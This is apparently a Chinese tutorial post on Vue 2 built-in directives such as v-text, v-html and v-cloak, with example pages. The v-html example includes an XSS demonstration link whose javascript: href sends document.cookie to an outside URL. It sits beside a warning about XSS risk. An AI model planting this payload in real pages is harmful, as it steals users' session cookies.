15_内置指令

15_内置指令

v-text指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <!-- 
我们学过的指令:
v-bind:单向绑定解析表达式,可简写为:XXX
v-model :双向数据绑定
v-for :遍历数组/对象/字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存存在)
v-else:条件渲染(动态控制节点是否存存在)
v-show:条件渲染(动态控制节点是否展示)

v-text指令:
1.作用:向其所在的节点中渲染文本内容。
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

 -->

  <body>
    <div id="root">
        <div>{{name}}</div> 
        <div v-text="name"></div>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        name: "vue",
      },
    });
  </script>
</html>

v-html指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <!--
  v-text不支持结构解析
  v-html支持结构解析 
  v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
  (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
  (2).v-html可以识别html结构。
3.严重注意: v-html有安全性问题!!!!
  (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
  (2).一定要在可信的内容上使用v-htm斗永不要用在用户提交的内容上!

-->
  <body>
    <div id="root">
      <div>{{name}}</div>
      <div v-html="str"></div>
      <div v-html="str2"></div>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        name: "vue",
        str: "<h3>你好哇!</h3>",
        str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>我找到资源了,来</a>'
      },
    });
  </script>
</html>

v-cloak指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
  </head>
  <!-- 
v-cloak指令(没有值):
    1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会那掉v-cloak属性。
    2.使用css配合v-cloak可以解决网速慢时页面展示出({xxx}]的问题。

   -->
  <style>
    [v-cloak] {
      display: none;
    }
  </style>

  <body>
    <div id="root">
      <div v-cloak>{{name}}</div>
    </div>
    <script type="text/javascript" src="../js/vue.js"></script>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        name: "vue",
      },
    });
  </script>
</html>

v-once指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
<!-- 
v-once指令:
    1.v-once所在节点在初次动态渲染后,就视为静态内容了。
    2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

 -->
  <body>
    <div id="root">
        <h2 v-once>初始值的n的值是{{n}}</h2>
      <div>当前的n值是:{{n}}</div>
      <button @click="n++">点我n+1</button>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        n : 1,
      },
    });
  </script>
</html>

v-pre指令

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
<!-- 
v-pre指令:
    1.跳过其所在节点的编译过程。
    2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点。会加快编译。

 -->
  <body>
    <div id="root">
      <h2 v-pre>Vue其实很简单</h2>
      <div>当前的n值是:{{n}}</div>
      <button @click="n++">点我n+1</button>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    new Vue({
      el: "#root",
      data: {
        n: 1,
      },
    });
  </script>
</html>

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值